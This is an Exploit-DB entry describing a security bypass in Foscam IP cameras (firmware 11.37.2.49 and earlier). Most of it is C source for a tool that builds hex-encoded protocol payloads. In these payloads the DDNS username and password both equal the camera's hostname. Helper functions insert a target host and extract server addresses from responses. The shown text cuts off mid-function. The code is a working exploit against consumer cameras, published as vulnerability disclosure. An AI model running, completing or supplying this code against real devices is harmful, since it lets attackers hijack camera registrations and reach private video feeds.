Exploit-DB #39195
Description: Foscam IP Camera - Predictable Credentials Security Bypass
Type: remote
Platform: hardware
Date: 2014-05-08
Author: Sergey Shekyan

Exploit:
// source: https://www.securityfocus.com/bid/67510/info

Foscam IP Camera is prone to a security-bypass vulnerability.

An attacker can exploit this issue to gain access to sensitive information and perform certain unauthorized actions; this may lead to further attacks.

Foscam IP Camera 11.37.2.49 and prior versions are vulnerable. 

/*
* Copyright 2013 Artem Harutyunyan, Sergey Shekyan
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/

#include <string.h>
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>

#include <sys/errno.h>
#include <arpa/inet.h>
#include <netdb.h>

#include "camtool.h"

#define IP_BUF_LEN 16
#define RESP_BUF_LEN 1024
#define PORT_BUF_LEN 6

#define UNAME_LEN 6
#define DELIM 0x1

#define REQ_POS_PID 1
#define REQ_POS_UNAME 2
#define REQ_POS_PWD 3
#define REQ_POS_OEM 4
#define REQ_POS_DOMAIN_COUNT 5
#define REQ_POS_DOMAIN_0 6

#define RES_POS_PID 1
#define RES_POS_ERROR 2
#define RES_POS_MSG 3
#define RES_POS_DOMAIN_COUNT 4
#define RES_POS_DOMAIN_0 5
#define RES_ENT_SRV_COUNT 6
#define RES_ENT_SRV_0 7
#define RES_ENT_SRV_MPORT_0 8
#define RES_ENT_SRV_APORT_0 9

#define KEY_PID "PID"
#define KEY_UNAME "UName"
#define KEY_PWD "PWD"
#define KEY_OEM "OEM"
#define KEY_DOMAIN_COUNT "DomainCount"
#define KEY_DOMAIN_0 "Domain0"
#define KEY_ENT_SRV_0 "EntServer0"
#define KEY_ENT_SRV_MPORT_0 "EntServerMPort0"

static char initial_payload[] = {
  0x01, 0x50, 0x49, 0x44, 0x3d, 0x31, 0x34, 0x01, 0x55, 0x4e, 0x61, 0x6d,
  0x65, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x50, 0x57, 0x44,
  0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x4f, 0x45, 0x4d, 0x3d,
  0x72, 0x65, 0x65, 0x63, 0x61, 0x6d, 0x01, 0x44, 0x6f, 0x6d, 0x61, 0x69,
  0x6e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x3d, 0x31, 0x01, 0x44, 0x6f, 0x6d,
  0x61, 0x69, 0x6e, 0x30, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x2e,
  0x6d, 0x79, 0x66, 0x6f, 0x73, 0x63, 0x61, 0x6d, 0x2e, 0x6f, 0x72, 0x67,
  0x01, 0x00
};

static const unsigned int n_initial_payload = 85;
static char redirect_payload[] = {
  0x01, 0x50, 0x49, 0x44, 0x3d, 0x31, 0x30, 0x01, 0x55, 0x4e, 0x61, 0x6d,
  0x65, 0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x50, 0x57, 0x44,
  0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x01, 0x4f, 0x45, 0x4d, 0x3d,
  0x72, 0x65, 0x65, 0x63, 0x61, 0x6d, 0x01, 0x4f, 0x53, 0x3d, 0x4c, 0x69,
  0x6e, 0x75, 0x78, 0x01, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x4e, 0x4f, 0x3d,
  0x31, 0x33, 0x38, 0x30, 0x01, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x30,
  0x3d, 0x63, 0x68, 0x31, 0x32, 0x36, 0x36, 0x2e, 0x6d, 0x79, 0x66, 0x6f,
  0x73, 0x63, 0x61, 0x6d, 0x2e, 0x6f, 0x72, 0x67, 0x01, 0x0
};
static const unsigned int n_redirect_payload = 93;

static int
payload_get_offset_by_name(const char* name, const char buf[0], const unsigned int n_buf)
{
  const unsigned int n_name = strlen(name);
  unsigned int i_name = 0;
  unsigned int i = 0;

  while (i < n_buf) {
    while (name[i_name] == buf[i + i_name] && ((i + i_name) < n_buf) && (i_name < n_name))
      ++i_name;
  
  if (i_name == n_name)
    return i;
  else
    i_name = 0;
  
  ++i;
 }

  return -1;
}

static int
payload_insert_host(const char* host, const char* buf, const unsigned int n_buf)
{
  
  unsigned int i = 0;
  unsigned int n_host = strlen(host);
  int offset = 0;

  // Make sure that hostname is exactly UNAME_LEN
  while (i < n_host && (buf[++i] != DELIM)) {}
  if (i != (UNAME_LEN + 1)) return -1;

  // Insert hostname to payload
  if ((offset = payload_get_offset_by_name(KEY_UNAME, buf, n_buf)) == -1) return 1;
  memmove((void*) &buf[offset + strlen(KEY_UNAME) + 1], (const void*) host, UNAME_LEN);

  // Insert pwd to payload
  if ((offset = payload_get_offset_by_name(KEY_PWD, buf, n_buf)) == -1) return 1;
  memmove((void*) &buf[offset + strlen(KEY_PWD) + 1], (const void*) host, UNAME_LEN);

  // Insert domain to payload
  if ((offset = payload_get_offset_by_name(KEY_DOMAIN_0, buf, n_buf)) == -1 || (offset + n_host) >= n_buf) return 1;
  memmove((void*) &buf[offset + strlen(KEY_DOMAIN_0) + 1], (const void*) host, n_host);

  return 0;
}

static int
payload_extract_ent_srv_0(const char** ip, unsigned int* n_ip, const char* payload, const unsigned int n_payload)
{
    unsigned int offset = payload_get_offset_by_name(KEY_ENT_SRV_0, payload, n_payload);
    const unsigned int n_key_ent_srv = strlen(KEY_ENT_SRV_0);
    if (memcmp(&payload[offset], KEY_ENT_SRV_0, n_key_ent_srv) != 0)
      return 1;
    
    offset += (n_key_ent_srv + 1); // +1 for '='
    unsigned int ip_offset = offset;
    while (offset < n_payload && payload[offset] != DELIM)
      ++offset;

    if (offset == n_payload)
      return 1;

    *ip = &payload[ip_offset];
    *n_ip = offset - ip_offset;

    return 0;
}

static int
payload_extract_ent_srv_port(const char** port_fwd, unsigned int* n_port_fwd, const char* payload, const unsigned int 
n_payload)
{
  unsigned int offset = payload_get_offset_by_name(KEY_ENT_SRV_MPORT_0, payload, n_payload);
  const unsigned int n_key_ent_srv_mport = strlen(KEY_ENT_SRV_MPORT_0);

  if (memcmp(&payload[offset], KEY_ENT_SRV_MPORT_0, n_key_ent_srv_mport) != 0)
    return 1;

  offset += (n_key_ent_srv_mport + 1); // +1 for '='
  unsigned int mport_offset = offset;
  
  while (offset < n_payload && payload[offset] != DELIM)
      ++offset;

  if (offset == n_payload)
    return 1;

  *port_fwd = &payload[mp